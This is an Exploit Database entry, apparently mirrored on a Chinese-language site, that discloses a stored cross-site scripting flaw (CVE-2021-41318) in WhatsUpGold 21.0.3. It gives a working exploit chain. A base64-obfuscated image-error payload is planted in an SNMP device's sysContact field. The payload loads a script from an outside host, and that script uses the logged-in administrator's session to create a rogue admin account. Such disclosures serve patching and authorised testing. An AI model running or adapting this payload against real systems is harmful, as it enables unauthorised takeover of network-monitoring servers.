WhatsUpGold 21.0.3 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 13 阅读

• 作者： Andreas Finstad
  日期： 2021-10-01
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50366/

• # Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)
  # Date: 09.17.2021
  # Exploit Author: Andreas Finstad (4ndr34z)
  # Vendor Homepage: https://www.whatsupgold.com
  # Version: v.21.0.3, Build 188
  # Tested on: Windows 2019 Server
  # CVE : CVE-2021-41318
  # Reference: https://f20.be/cves/poc-cve-2021-41318
  
  Description:
  Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
  Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.
  No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.
  
  SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:
  
  # snmpd.conf
  # An example configuration file for configuring the Net-SNMP agent ('snmpd')
  # See snmpd.conf(5) man page for details
  ############################################################################
  # SECTION: System Information Setup
  # syslocation: The [typically physical] location of the system.
  # Note that setting this value here means that when trying to
  # perform an snmp SET operation to the sysLocation.0 variable will make
  # the agent return the "notWritable" error code.IE, including
  # this token in the snmpd.conf file will disable write access to
  # the variable.
  # arguments:location_string
  sysName Evil-Device
  sysLocationSomewhere Over The Rainbow
  sysContact <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly8xOTIuMTY4LjY2LjQ2L3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 src=x onerror=eval(atob(this.id))>
  
  This is the base64 encoded string:
  var a=document.createElement("script");a.src="http://192.168.66.46/x.js";document.body.appendChild(a);
  
  x.js:
  var vhost = window.location.protocol+'\/\/'+window.location.host
  var username = "sysadmin"
  var password = "me"
  
  fetch(vhost+'/NmConsole/api/core/WebUser',{
  method: 'POST',
  headers: {
  'Content-Length': '479',
  'Accept': 'application/json',
  'X-Requested-With': 'XMLHttpRequest',
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',
  'Content-Type': 'application/json',
  'Origin': vhost,
  'Referer': vhost+'/NmConsole/',
  'Accept-Encoding': 'gzip, deflate',
  'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',
  'Connection': 'close'
  },
  credentials: 'include',
  body: '{"HomeDeviceGroupID":0,"HomeDeviceGroupPath":"My Network","LanguageID":1033,"UserRightsMask":"0","IsDgarConfigured":false,"Groups" [1],"WebUserID":-1,"UserName":"'+username+'","AuthenticationType":1,"ApplyWebUiSessionTimeout":true,"ApplyLockoutPolicy":false,"ApplyPasswordAging":false,"ApplyPasswordComplexity":false,"ApplySessionPolicy":false,"FailedLoginCount":0,"IsLocked":false,"Password":"'+password+'","UnlockUser":false,"WebConfigurationSettings":"","id":"Wug.model.userManagement.WebUser-2"}'
  });